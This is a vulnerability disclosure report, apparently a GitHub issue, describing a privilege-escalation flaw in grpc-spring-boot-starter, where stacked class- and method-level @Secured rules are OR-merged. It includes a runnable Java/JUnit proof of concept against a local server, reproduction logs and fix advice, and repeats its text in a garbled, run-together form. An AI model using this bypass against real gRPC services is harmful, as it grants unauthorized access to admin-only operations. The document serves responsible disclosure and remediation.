Hi Team,
| Field |
Value |
| Report ID |
grpc-spring-boot-starter_001_or-merged-authorization-privilege-escalation |
| Reporter |
Wayde Shi (github: waydeshi) |
| Component |
io.github.lognet:grpc-spring-boot-starter |
| Affected Version |
<=5.2.0 |
| Fixed Version |
none |
| Project |
https://github.com/LogNet/grpc-spring-boot-starter |
| Vulnerability Type |
Improper Authorization / Incorrect Authorization |
| CWE |
CWE-285 (Improper Authorization); related CWE-863 (Incorrect Authorization), CWE-1188 (Insecure Default) |
| Report status |
Reproduced end-to-end (embedded Netty gRPC server + real gRPC client; dependency resolved from Maven Central) |
Summary
grpc-spring-boot-starter processes Spring Security @Secured annotations on gRPC services/methods (its
default authorization mechanism). When a method is covered by both a class-level @Secured and a
method-level @Secured, the starter appends both into one attribute set and evaluates it with
AffirmativeBased (grant if any attribute matches). Adding a broad class-level rule therefore silently
weakens a stricter method-level rule:
- method-level
@Secured("ROLE_ADMIN") alone → a ROLE_USER caller is correctly DENIED;
- the same method rule plus class-level
@Secured("ROLE_USER") → the same ROLE_USER caller is
GRANTED (ADMIN collapses to USER OR ADMIN).
This is a vertical privilege escalation. The merge is silent (no docs, no startup warning) and fails open.
Exploitation requires a service that stacks a broad class-level @Secured with a stricter method-level
@Secured — a configuration reachable using only the library's documented annotations. When that
configuration is present, the library resolves it insecurely; concrete C/I impact depends on the bypassed
method, and the library-attributable defect is the silent loss of the stricter guard.
CVSS 3.1 Breakdown
Base Score: 4.2 (Medium)
Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
| Metric |
Value |
Justification |
| Attack Vector (AV) |
Network |
gRPC is a network service |
| Attack Complexity (AC) |
High |
Exploitation depends on the target using the specific stacked class+method @Secured configuration; the attacker does not control whether it exists |
| Privileges Required (PR) |
Low |
Attacker needs a valid low-privilege (class-level role) account |
| User Interaction (UI) |
None |
— |
| Scope (S) |
Unchanged |
— |
| Confidentiality (C) |
Low |
A caller reaches an admin-gated method; concrete data exposure is deployment-dependent |
| Integrity (I) |
Low |
The admin-gated operation can be invoked; concrete write impact is deployment-dependent |
| Availability (A) |
None |
Not demonstrated by the PoC |
Two deliberate choices keep the score conservative and defensible: (1) impact is scored Low C/I because
the concrete magnitude depends on what the consuming method does — only the authorization-gate bypass is
library-attributable; (2) Attack Complexity is scored High because exploitation is contingent on a
specific configuration existing in the target, which is not guaranteed to be present.
Deployment-dependent escalation: once the vulnerable configuration is present, exploitation of that method
is deterministic, and if the bypassed method performs high-impact reads/writes a consumer may re-score C/I
to High. The base score above intentionally reflects the conditional, library-attributable case only.
Description
The finding is a library defect, not a usage error. It rests on four intrinsic properties of the library, all
independent of developer intent:
- Non-monotonic (CWE-285). Adding an authorization rule must never increase who can reach an object.
Here, adding class-level @Secured("ROLE_USER") to a method guarded by @Secured("ROLE_ADMIN") widens
the caller set from ADMIN to USER∪ADMIN — "more rules → less protection." Demonstrated in the PoC
(case A vs. B): the identical method guard yields GRANT or DENY based solely on the presence of a second,
broader rule.
- Undocumented + fail-open (CWE-1188). The README documents
@Secured on "services/methods" but never
states that a class-level and a method-level @Secured on the same method are OR-combined; the ambiguity
is resolved via AffirmativeBased (any-GRANT-wins) toward more access.
- Contradicts the library's own documented security model. The README states that gRPC security "follows
the same principals and APIs as Spring WEB security configuration." Standard Spring Security resolves
stacked @Secured by method-overrides-class (verified against Spring Security 6.4.4 bytecode of
AbstractFallbackMethodSecurityMetadataSource.getAttributes — method attributes are returned if present,
with class attributes used only as a fallback, never a union), which resolves the example to ADMIN only.
The OR-union behavior therefore violates the equivalence the library documents about itself.
- Inconsistent with the library's own handling of the analogous case. In the same
processSecuredAnnotation(), when a single method carries more than one @Secured, the library
deliberately fails to start, throwing BeanCreationException("Ambiguous 'Secured' method ...")
(GrpcServiceAuthorizationConfigurer.java:189-196). The class+method stacking reaches the identical end
state — one method governed by two @Secured rules — yet is silently OR-merged and allowed instead of
rejected. A deliberate "OR is intended" policy would not fail-fast on one path to a multi-rule method and
silently permit another. This proves an unhandled boundary, not an intentional policy. (This
single-method fail-fast has existed since 5.1.5; for earlier affected versions this argument does not
apply, but arguments 1–3 hold in full and independently establish the defect.)
Scope. Affected only when a service stacks class-level @Secured(roleA) with a stricter method-level
@Secured(roleB) and the attacker holds roleA. Services using only method-level annotations, or only the
programmatic API, are unaffected. Reachable using only documented annotations — no custom code, non-default
properties, or external infrastructure.
Vulnerable Code Location
In GrpcServiceAuthorizationConfigurer.processSecuredAnnotation(), the class-level @Secured is mapped over
every method and each method-level @Secured is mapped without removing the class-level attribute; both
go through Registry.map(...), which appends via MultiValueMap.addAll:
// GrpcServiceAuthorizationConfigurer.java:218-221
void map(String attribute, List<MethodDescriptor<?, ?>> methods) {
methods.forEach(m -> securedMethods.addAll(m, SecurityConfig.createList(attribute))); // APPEND, not override
}
GrpcSecurity.java:112-124 then evaluates the merged attributes with AffirmativeBased (grants if any
voter returns ACCESS_GRANTED). RoleVoter grants on ROLE_USER, so the merged [ROLE_USER, ROLE_ADMIN]
never enforces the stricter ROLE_ADMIN. The GrpcSecurityMetadataSource returns the merged attribute list
verbatim (no override, no intersection), so the OR-merge reaches the decision manager exactly as constructed.
Proof of Concept
The PoC is a controlled experiment with three cases run against the same server, using the same
ROLE_USER-only credential, changing only one variable. A single positive result ("the call succeeded")
would be insufficient — it could also be explained by security not being active in the PoC — so controls B
and C prove enforcement is genuinely active.
| Case |
Service / rule |
Caller |
Expected if library were correct |
Observed |
| A — positive |
PremiumService.deleteAllAccounts: class @Secured("ROLE_USER") + method @Secured("ROLE_ADMIN") |
ROLE_USER |
PERMISSION_DENIED |
SERVED (ALL-ACCOUNTS-DELETED) |
| B — control |
AdminOnlyService.adminOnlyOp: method-only @Secured("ROLE_ADMIN") (no class annotation) |
ROLE_USER |
PERMISSION_DENIED |
PERMISSION_DENIED |
| C — neg. control |
PremiumService.deleteAllAccounts |
unauthenticated |
UNAUTHENTICATED |
UNAUTHENTICATED |
- Case B is the crucial control. With the same
ROLE_USER caller and the same required role
(ROLE_ADMIN), removing the class-level annotation makes the method correctly return PERMISSION_DENIED.
This proves the security interceptor, RoleVoter, and @Secured enforcement are all active and working
— the framework is not blanket-allowing.
- Case C proves the interceptor is wired at all (unauthenticated is rejected).
- The only variable that differs between A (served) and B (denied) is the presence of a class-level
@Secured being OR-merged with the method-level rule. This isolates the OR-merge as the cause of the
escalation — the result is not a PoC artifact or a disabled-security false positive. The service method
bodies are minimal beacons (a single constant string) with no self-authored authorization logic, so the
outcome is attributable solely to the framework authorization layer.
Environment
- Library:
io.github.lognet:grpc-spring-boot-starter:5.2.0 + grpc-client-spring-boot-starter:5.2.0,
resolved from Maven Central (not local source).
- Spring Boot 3.4.4, Spring Security 6.4.4, gRPC 1.71.0, JDK 25.
- Real embedded Netty gRPC server on a random local port, invoked by a real gRPC client over
localhost.
- Default
@Secured annotation processing only (no custom GrpcSecurityConfigurerAdapter).
PoC code (from the runnable project CVE_Reports/poc/)
The listings below are the PoC sources, condensed for readability; they are functionally identical to the
committed files under CVE_Reports/poc/, which are the authoritative, runnable copies.
src/main/proto/poc.proto
syntax = "proto3";
option java_multiple_files = true;
option java_package = "com.poc.grpc.proto";
option java_outer_classname = "PocProto";
package poc;
message Empty {}
message Msg { string value = 1; }
// POSITIVE-case service: class-level @Secured("ROLE_USER") + method-level @Secured("ROLE_ADMIN").
service PremiumService {
rpc DeleteAllAccounts (Empty) returns (Msg) {}
}
// CONTROL service: NO class-level @Secured; method-level @Secured("ROLE_ADMIN") only.
service AdminOnlyService {
rpc AdminOnlyOp (Empty) returns (Msg) {}
}
src/main/java/com/poc/grpc/PocApplication.java
package com.poc.grpc;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class PocApplication {
public static void main(String[] args) {
SpringApplication.run(PocApplication.class, args);
}
}
src/main/java/com/poc/grpc/SecurityConfig.java — one low-privilege user, ROLE_USER only; default
@Secured processing (no custom GrpcSecurityConfigurerAdapter).
package com.poc.grpc;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.provisioning.InMemoryUserDetailsManager;
@Configuration
public class SecurityConfig {
public static final String PWD = "strongPassword1";
@Bean
public UserDetailsService userDetailsService() {
UserDetails user = User.withDefaultPasswordEncoder()
.username("user1")
.password(PWD)
.authorities("ROLE_USER") // low privilege ONLY
.build();
return new InMemoryUserDetailsManager(user);
}
}
src/main/java/com/poc/grpc/PremiumServiceImpl.java — POSITIVE case: broad class-level guard + stricter
method-level guard on the same method. Method body is a minimal beacon so the outcome is attributable solely
to the framework authorization layer.
package com.poc.grpc;
import com.poc.grpc.proto.Empty;
import com.poc.grpc.proto.Msg;
import com.poc.grpc.proto.PremiumServiceGrpc;
import io.grpc.stub.StreamObserver;
import org.lognet.springboot.grpc.GRpcService;
import org.springframework.security.access.annotation.Secured;
@GRpcService
@Secured("ROLE_USER") // class-level: any authenticated user
public class PremiumServiceImpl extends PremiumServiceGrpc.PremiumServiceImplBase {
@Override
@Secured("ROLE_ADMIN") // stricter method-level guard on this method
public void deleteAllAccounts(Empty request, StreamObserver<Msg> obs) {
obs.onNext(Msg.newBuilder().setValue("ALL-ACCOUNTS-DELETED").build());
obs.onCompleted();
}
}
src/main/java/com/poc/grpc/AdminOnlyServiceImpl.java — CONTROL: no class-level @Secured; the method's
only rule is @Secured("ROLE_ADMIN"), so its attribute set is exactly [ROLE_ADMIN].
package com.poc.grpc;
import com.poc.grpc.proto.AdminOnlyServiceGrpc;
import com.poc.grpc.proto.Empty;
import com.poc.grpc.proto.Msg;
import io.grpc.stub.StreamObserver;
import org.lognet.springboot.grpc.GRpcService;
import org.springframework.security.access.annotation.Secured;
@GRpcService
public class AdminOnlyServiceImpl extends AdminOnlyServiceGrpc.AdminOnlyServiceImplBase {
@Override
@Secured("ROLE_ADMIN") // method-level ONLY; no class-level annotation
public void adminOnlyOp(Empty request, StreamObserver<Msg> obs) {
obs.onNext(Msg.newBuilder().setValue("ADMIN-ONLY-OP-EXECUTED").build());
obs.onCompleted();
}
}
src/main/resources/application.yml
grpc:
port: 0 # random port, retrieved via @LocalRunningGrpcPort
shutdownGrace: 0
spring:
main:
banner-mode: off
logging:
level:
root: WARN
com.poc: INFO
src/test/java/com/poc/grpc/VulnerabilityReproductionTest.java — the controlled experiment (A/B/C).
package com.poc.grpc;
import com.poc.grpc.proto.AdminOnlyServiceGrpc;
import com.poc.grpc.proto.Empty;
import com.poc.grpc.proto.Msg;
import com.poc.grpc.proto.PremiumServiceGrpc;
import io.grpc.*;
import org.junit.jupiter.api.*;
import org.lognet.springboot.grpc.context.LocalRunningGrpcPort;
import org.lognet.springboot.grpc.security.AuthClientInterceptor;
import org.lognet.springboot.grpc.security.AuthHeader;
import org.springframework.boot.test.context.SpringBootTest;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertThrows;
@SpringBootTest(classes = PocApplication.class, webEnvironment = SpringBootTest.WebEnvironment.NONE)
@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
public class VulnerabilityReproductionTest {
@LocalRunningGrpcPort
private int port;
private static ManagedChannel rawChannel;
private Channel authChannel() {
rawChannel = ManagedChannelBuilder.forAddress("localhost", port).usePlaintext().build();
AuthClientInterceptor interceptor = new AuthClientInterceptor(
AuthHeader.builder().basic("user1", SecurityConfig.PWD.getBytes()));
return ClientInterceptors.intercept(rawChannel, interceptor);
}
private ManagedChannel plainChannel() {
return ManagedChannelBuilder.forAddress("localhost", port).usePlaintext().build();
}
@AfterAll
static void cleanup() {
if (rawChannel != null) rawChannel.shutdownNow();
}
@Test @Order(1)
void a_positive_orMergedEscalationServed() {
Msg reply = PremiumServiceGrpc.newBlockingStub(authChannel())
.deleteAllAccounts(Empty.getDefaultInstance());
assertEquals("ALL-ACCOUNTS-DELETED", reply.getValue(),
"CVE-001 CONFIRMED: ROLE_USER invoked ROLE_ADMIN-only method (OR-merge escalation)");
}
@Test @Order(2)
void b_control_methodOnlyAdmin_isDenied() {
StatusRuntimeException ex = assertThrows(StatusRuntimeException.class, () ->
AdminOnlyServiceGrpc.newBlockingStub(authChannel())
.adminOnlyOp(Empty.getDefaultInstance()));
assertEquals(Status.Code.PERMISSION_DENIED, ex.getStatus().getCode(),
"CONTROL: security IS active — ROLE_ADMIN is correctly enforced with no class-level rule");
}
@Test @Order(3)
void c_negativeControl_unauthenticatedIsDenied() {
ManagedChannel ch = plainChannel();
try {
StatusRuntimeException ex = assertThrows(StatusRuntimeException.class, () ->
PremiumServiceGrpc.newBlockingStub(ch).deleteAllAccounts(Empty.getDefaultInstance()));
assertEquals(Status.Code.UNAUTHENTICATED, ex.getStatus().getCode(),
"NEG-CONTROL: interceptor is wired — unauthenticated caller is rejected");
} finally {
ch.shutdownNow();
}
}
}
pom.xml declares io.github.lognet:grpc-spring-boot-starter:5.2.0 and
grpc-client-spring-boot-starter:5.2.0 (from Maven Central), spring-security-config, and the gRPC
stub/protobuf plugins; full file at CVE_Reports/poc/pom.xml.
Execution Steps
Maven resolves grpc-spring-boot-starter:5.2.0 from Maven Central, generates the gRPC stubs from
poc.proto, starts a real embedded Netty gRPC server on a random port, and drives it with a real gRPC client:
cd CVE_Reports/poc
export JAVA_HOME=/path/to/jdk-17-or-newer # Spring Boot 3.4.4 requires JDK 17+
mvn clean test
Reproduction Evidence
Verbatim from reproduction_evidence.log:
[VULN3-A positive] deleteAllAccounts (class USER + method ADMIN) returned: ALL-ACCOUNTS-DELETED
[VULN3-B control] adminOnlyOp (method-only ADMIN) status = PERMISSION_DENIED
[VULN3-C neg-control] unauthenticated deleteAllAccounts status = UNAUTHENTICATED
Tests run: 3, Failures: 0, Errors: 0 -- BUILD SUCCESS
Env: grpc-spring-boot-starter 5.2.0 (Maven Central), Spring Boot 3.4.4, Spring Security 6.4.4, gRPC 1.71.0, JDK 25
Interpretation: security is provably active (B denies, C denies); yet the identical ROLE_ADMIN requirement
is bypassed (A serves) precisely and only when a class-level @Secured is present to be OR-merged. Expected
secure behavior for A: PERMISSION_DENIED. Actual: the ROLE_ADMIN-only method executed for a
ROLE_USER-only caller.
Impact
A caller holding only the broad class-level role (ROLE_USER) can invoke a method that the developer
explicitly restricted to a stricter role (ROLE_ADMIN) via a method-level @Secured. The stricter guard is
silently lost — a vertical privilege escalation.
- Trigger condition: a service stacks a broad class-level
@Secured(roleA) with a stricter method-level
@Secured(roleB) on the same method, and the attacker holds roleA. Reachable using only documented
annotations.
- Determinism: once the vulnerable configuration is present, the bypass is deterministic on every call
(not intermittent), as shown by case A.
- Library-attributable impact: the loss of the authorization gate. The concrete Confidentiality/Integrity
magnitude is deployment-dependent — it is whatever the bypassed method exposes or performs. If that method
performs high-impact reads/writes (e.g., a deleteAllAccounts-type operation), the real-world impact for
that deployment can be far higher than the conservative base CVSS.
- Not affected: services using only method-level
@Secured, or only the programmatic authorization API,
are not affected — the escalation requires the class+method stacking to create the OR-merge.
Recommended Fix
- Make the default monotonic and fail-closed: when a method-level
@Secured is present, either have it
override the class-level attributes for that method (method-overrides-class, as in standard Spring
Security), or intersect the rules with AND semantics (UnanimousBased / an AuthorizationManager-based
AND composition) so that adding a rule can never widen access.
- If OR-merge is retained for any case, make it opt-in and emit a startup warning when a method is
covered by multiple @Secured rules of differing strength, consistent with the existing fail-fast on the
analogous single-method multi-@Secured case (GrpcServiceAuthorizationConfigurer.java:189-196).
- Document the merge semantics explicitly in the README security section.
- Add an integration test asserting: class
@Secured("ROLE_USER") + method @Secured("ROLE_ADMIN"), a
ROLE_USER-only principal receives PERMISSION_DENIED.
Reference
Hi Team,
io.github.lognet:grpc-spring-boot-starterSummary
grpc-spring-boot-starterprocesses Spring Security@Securedannotations on gRPC services/methods (itsdefault authorization mechanism). When a method is covered by both a class-level
@Securedand amethod-level
@Secured, the starter appends both into one attribute set and evaluates it withAffirmativeBased(grant if any attribute matches). Adding a broad class-level rule therefore silentlyweakens a stricter method-level rule:
@Secured("ROLE_ADMIN")alone → aROLE_USERcaller is correctly DENIED;@Secured("ROLE_USER")→ the sameROLE_USERcaller isGRANTED (
ADMINcollapses toUSER OR ADMIN).This is a vertical privilege escalation. The merge is silent (no docs, no startup warning) and fails open.
Exploitation requires a service that stacks a broad class-level
@Securedwith a stricter method-level@Secured— a configuration reachable using only the library's documented annotations. When thatconfiguration is present, the library resolves it insecurely; concrete C/I impact depends on the bypassed
method, and the library-attributable defect is the silent loss of the stricter guard.
CVSS 3.1 Breakdown
Base Score: 4.2 (Medium)
Vector:
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N@Securedconfiguration; the attacker does not control whether it existsTwo deliberate choices keep the score conservative and defensible: (1) impact is scored Low C/I because
the concrete magnitude depends on what the consuming method does — only the authorization-gate bypass is
library-attributable; (2) Attack Complexity is scored High because exploitation is contingent on a
specific configuration existing in the target, which is not guaranteed to be present.
Description
The finding is a library defect, not a usage error. It rests on four intrinsic properties of the library, all
independent of developer intent:
Here, adding class-level
@Secured("ROLE_USER")to a method guarded by@Secured("ROLE_ADMIN")widensthe caller set from
ADMINtoUSER∪ADMIN— "more rules → less protection." Demonstrated in the PoC(case A vs. B): the identical method guard yields GRANT or DENY based solely on the presence of a second,
broader rule.
@Securedon "services/methods" but neverstates that a class-level and a method-level
@Securedon the same method are OR-combined; the ambiguityis resolved via
AffirmativeBased(any-GRANT-wins) toward more access.the same principals and APIs as Spring WEB security configuration." Standard Spring Security resolves
stacked
@Securedby method-overrides-class (verified against Spring Security 6.4.4 bytecode ofAbstractFallbackMethodSecurityMetadataSource.getAttributes— method attributes are returned if present,with class attributes used only as a fallback, never a union), which resolves the example to ADMIN only.
The OR-union behavior therefore violates the equivalence the library documents about itself.
processSecuredAnnotation(), when a single method carries more than one@Secured, the librarydeliberately fails to start, throwing
BeanCreationException("Ambiguous 'Secured' method ...")(
GrpcServiceAuthorizationConfigurer.java:189-196). The class+method stacking reaches the identical endstate — one method governed by two
@Securedrules — yet is silently OR-merged and allowed instead ofrejected. A deliberate "OR is intended" policy would not fail-fast on one path to a multi-rule method and
silently permit another. This proves an unhandled boundary, not an intentional policy. (This
single-method fail-fast has existed since 5.1.5; for earlier affected versions this argument does not
apply, but arguments 1–3 hold in full and independently establish the defect.)
Scope. Affected only when a service stacks class-level
@Secured(roleA)with a stricter method-level@Secured(roleB)and the attacker holdsroleA. Services using only method-level annotations, or only theprogrammatic API, are unaffected. Reachable using only documented annotations — no custom code, non-default
properties, or external infrastructure.
Vulnerable Code Location
In
GrpcServiceAuthorizationConfigurer.processSecuredAnnotation(), the class-level@Securedis mapped overevery method and each method-level
@Securedis mapped without removing the class-level attribute; bothgo through
Registry.map(...), which appends viaMultiValueMap.addAll:GrpcSecurity.java:112-124then evaluates the merged attributes withAffirmativeBased(grants if anyvoter returns
ACCESS_GRANTED).RoleVotergrants onROLE_USER, so the merged[ROLE_USER, ROLE_ADMIN]never enforces the stricter
ROLE_ADMIN. TheGrpcSecurityMetadataSourcereturns the merged attribute listverbatim (no override, no intersection), so the OR-merge reaches the decision manager exactly as constructed.
Proof of Concept
The PoC is a controlled experiment with three cases run against the same server, using the same
ROLE_USER-only credential, changing only one variable. A single positive result ("the call succeeded")would be insufficient — it could also be explained by security not being active in the PoC — so controls B
and C prove enforcement is genuinely active.
PremiumService.deleteAllAccounts: class@Secured("ROLE_USER")+ method@Secured("ROLE_ADMIN")ROLE_USERPERMISSION_DENIEDALL-ACCOUNTS-DELETED)AdminOnlyService.adminOnlyOp: method-only@Secured("ROLE_ADMIN")(no class annotation)ROLE_USERPERMISSION_DENIEDPERMISSION_DENIEDPremiumService.deleteAllAccountsUNAUTHENTICATEDUNAUTHENTICATEDROLE_USERcaller and the same required role(
ROLE_ADMIN), removing the class-level annotation makes the method correctly returnPERMISSION_DENIED.This proves the security interceptor,
RoleVoter, and@Securedenforcement are all active and working— the framework is not blanket-allowing.
@Securedbeing OR-merged with the method-level rule. This isolates the OR-merge as the cause of theescalation — the result is not a PoC artifact or a disabled-security false positive. The service method
bodies are minimal beacons (a single constant string) with no self-authored authorization logic, so the
outcome is attributable solely to the framework authorization layer.
Environment
io.github.lognet:grpc-spring-boot-starter:5.2.0+grpc-client-spring-boot-starter:5.2.0,resolved from Maven Central (not local source).
localhost.@Securedannotation processing only (no customGrpcSecurityConfigurerAdapter).PoC code (from the runnable project
CVE_Reports/poc/)The listings below are the PoC sources, condensed for readability; they are functionally identical to the
committed files under
CVE_Reports/poc/, which are the authoritative, runnable copies.src/main/proto/poc.protosrc/main/java/com/poc/grpc/PocApplication.javasrc/main/java/com/poc/grpc/SecurityConfig.java— one low-privilege user,ROLE_USERonly; default@Securedprocessing (no customGrpcSecurityConfigurerAdapter).src/main/java/com/poc/grpc/PremiumServiceImpl.java— POSITIVE case: broad class-level guard + strictermethod-level guard on the same method. Method body is a minimal beacon so the outcome is attributable solely
to the framework authorization layer.
src/main/java/com/poc/grpc/AdminOnlyServiceImpl.java— CONTROL: no class-level@Secured; the method'sonly rule is
@Secured("ROLE_ADMIN"), so its attribute set is exactly[ROLE_ADMIN].src/main/resources/application.ymlsrc/test/java/com/poc/grpc/VulnerabilityReproductionTest.java— the controlled experiment (A/B/C).pom.xmldeclaresio.github.lognet:grpc-spring-boot-starter:5.2.0andgrpc-client-spring-boot-starter:5.2.0(from Maven Central),spring-security-config, and the gRPCstub/protobuf plugins; full file at
CVE_Reports/poc/pom.xml.Execution Steps
Maven resolves
grpc-spring-boot-starter:5.2.0from Maven Central, generates the gRPC stubs frompoc.proto, starts a real embedded Netty gRPC server on a random port, and drives it with a real gRPC client:Reproduction Evidence
Verbatim from
reproduction_evidence.log:Interpretation: security is provably active (B denies, C denies); yet the identical
ROLE_ADMINrequirementis bypassed (A serves) precisely and only when a class-level
@Securedis present to be OR-merged. Expectedsecure behavior for A:
PERMISSION_DENIED. Actual: theROLE_ADMIN-only method executed for aROLE_USER-only caller.Impact
A caller holding only the broad class-level role (
ROLE_USER) can invoke a method that the developerexplicitly restricted to a stricter role (
ROLE_ADMIN) via a method-level@Secured. The stricter guard issilently lost — a vertical privilege escalation.
@Secured(roleA)with a stricter method-level@Secured(roleB)on the same method, and the attacker holdsroleA. Reachable using only documentedannotations.
(not intermittent), as shown by case A.
magnitude is deployment-dependent — it is whatever the bypassed method exposes or performs. If that method
performs high-impact reads/writes (e.g., a
deleteAllAccounts-type operation), the real-world impact forthat deployment can be far higher than the conservative base CVSS.
@Secured, or only the programmatic authorization API,are not affected — the escalation requires the class+method stacking to create the OR-merge.
Recommended Fix
@Securedis present, either have itoverride the class-level attributes for that method (method-overrides-class, as in standard Spring
Security), or intersect the rules with AND semantics (
UnanimousBased/ anAuthorizationManager-basedAND composition) so that adding a rule can never widen access.
covered by multiple
@Securedrules of differing strength, consistent with the existing fail-fast on theanalogous single-method multi-
@Securedcase (GrpcServiceAuthorizationConfigurer.java:189-196).@Secured("ROLE_USER")+ method@Secured("ROLE_ADMIN"), aROLE_USER-only principal receivesPERMISSION_DENIED.Reference
grpc-spring-boot-starter/src/main/java/org/lognet/springboot/grpc/security/GrpcServiceAuthorizationConfigurer.java(map()at 218-221; single-method fail-fast at 189-196)grpc-spring-boot-starter/src/main/java/org/lognet/springboot/grpc/security/GrpcSecurity.java(AffirmativeBaseddecision manager at 112-124)grpc-spring-boot-starter/src/main/java/org/lognet/springboot/grpc/security/GrpcSecurityMetadataSource.java(returns merged attributes verbatim)@Secured/ method-security metadata resolution (method-overrides-class):AbstractFallbackMethodSecurityMetadataSource.getAttributesCVE_Reports/poc/CVE_Reports/reproduction_evidence.log